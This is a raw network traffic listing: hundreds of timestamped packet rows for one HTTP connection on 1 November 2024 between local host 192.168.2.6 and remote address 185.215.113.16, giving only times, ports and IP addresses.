Nov 1, 2024 00:38:48.818943977 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.819499969 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.819535017 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.819552898 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.819587946 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.819608927 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.819643021 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.819695950 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.819696903 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.819725990 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.819757938 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.819761038 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.819778919 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.819797039 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.819816113 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.819828033 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.819837093 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.819881916 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.819897890 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.819941044 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.819952965 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820002079 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820005894 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820040941 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820058107 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820075989 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820089102 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820106030 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820120096 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820152998 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820157051 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820207119 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820209026 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820244074 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820266008 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820288897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820295095 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820324898 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820343971 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820364952 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820373058 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820408106 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820421934 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820451975 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820457935 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820508957 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820513010 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820545912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820568085 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820591927 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820596933 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820632935 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820655107 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820674896 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820688009 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820720911 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820738077 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820755959 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820766926 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820791006 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820808887 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820841074 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820843935 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820877075 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820889950 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820911884 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820919991 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820943117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820961952 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.820977926 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.820990086 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821024895 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821031094 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821063042 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821075916 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821096897 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821137905 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821141958 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821187973 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821224928 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821227074 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821265936 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821274042 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821290016 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821310043 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821319103 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821338892 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821384907 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821388006 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821440935 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821441889 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821470976 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821491957 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821505070 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821517944 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821538925 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821547985 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821587086 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821592093 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821626902 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821639061 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821671009 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821676970 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821711063 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821723938 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821739912 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821752071 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821784973 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821790934 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821836948 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821842909 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821876049 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821888924 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821909904 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821922064 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821958065 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.821962118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.821996927 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822011948 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822031975 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822043896 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822076082 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822082996 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822115898 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822132111 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822161913 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822168112 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822213888 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822217941 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822252989 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822271109 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822285891 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822302103 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822330952 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822340012 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822385073 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822390079 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822423935 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822436094 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822458982 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822465897 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822500944 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822510958 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822540998 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822559118 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822590113 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822592020 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822640896 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822642088 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822671890 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822690010 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822705030 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822711945 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822740078 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822746992 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822773933 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822788954 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822808027 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822818995 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822843075 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822850943 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822879076 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822890997 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822915077 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822925091 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822949886 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822957993 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.822984934 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.822993994 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823019028 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823026896 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823054075 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823059082 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823087931 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823097944 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823122025 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823137045 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823160887 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823162079 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823195934 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823210955 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823230982 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823241949 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823263884 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823278904 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823302984 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823307037 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823344946 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823364019 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823396921 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823410988 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823431015 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823445082 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823466063 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823476076 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823501110 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823510885 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823538065 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823546886 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823580027 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823615074 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823623896 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823649883 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823683023 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823694944 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823718071 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823726892 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823754072 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823759079 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823786974 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823798895 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823822975 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823834896 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823857069 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823863029 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823892117 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823900938 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823928118 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823935032 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823964119 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.823977947 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.823997021 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.824011087 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.824032068 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.824043036 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.824065924 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.824079037 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.824100971 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.824114084 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.824143887 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.866204977 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.866236925 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.866291046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.866319895 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.866420031 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.866420984 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.901195049 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.901247978 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.901283979 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.901320934 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.901360989 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.901374102 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.901426077 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.901460886 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.901495934 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.901545048 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.901586056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.901586056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.901586056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.901586056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.901586056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.944250107 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.944323063 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.944328070 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.944375038 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.944408894 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.944459915 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.944483995 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.944483995 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.944497108 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.944514036 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.944545031 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.944550991 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.944586992 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.944602966 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.944631100 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.944638014 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.944673061 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.944696903 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.944706917 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.944713116 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.944742918 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.944751978 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.944787979 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.944793940 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.944844007 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.944845915 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.944880009 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.944895983 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.944915056 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.944926977 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.944962978 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.944968939 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945003986 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945012093 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945036888 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945040941 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945071936 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945080996 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945106983 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945118904 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945142031 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945156097 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945177078 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945188999 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945213079 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945221901 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945246935 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945261002 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945281029 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945287943 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945313931 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945324898 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945357084 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945365906 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945400000 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945415020 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945434093 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945446014 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945467949 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945480108 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945516109 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945522070 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945555925 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945574999 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945590973 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945602894 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945626020 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945638895 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945663929 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945667982 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945712090 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945714951 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945749998 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945765018 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945785046 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945791006 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945818901 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945830107 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945853949 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945864916 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945889950 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945898056 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945923090 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945930958 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945957899 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.945971966 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.945991993 CET	80	49887	185.215.113.16	192.168.2.6
Nov 1, 2024 00:38:48.946002007 CET	49887	80	192.168.2.6	185.215.113.16
Nov 1, 2024 00:38:48.946027994 CET	80	49887	185.215.113.16	192.168.2.6
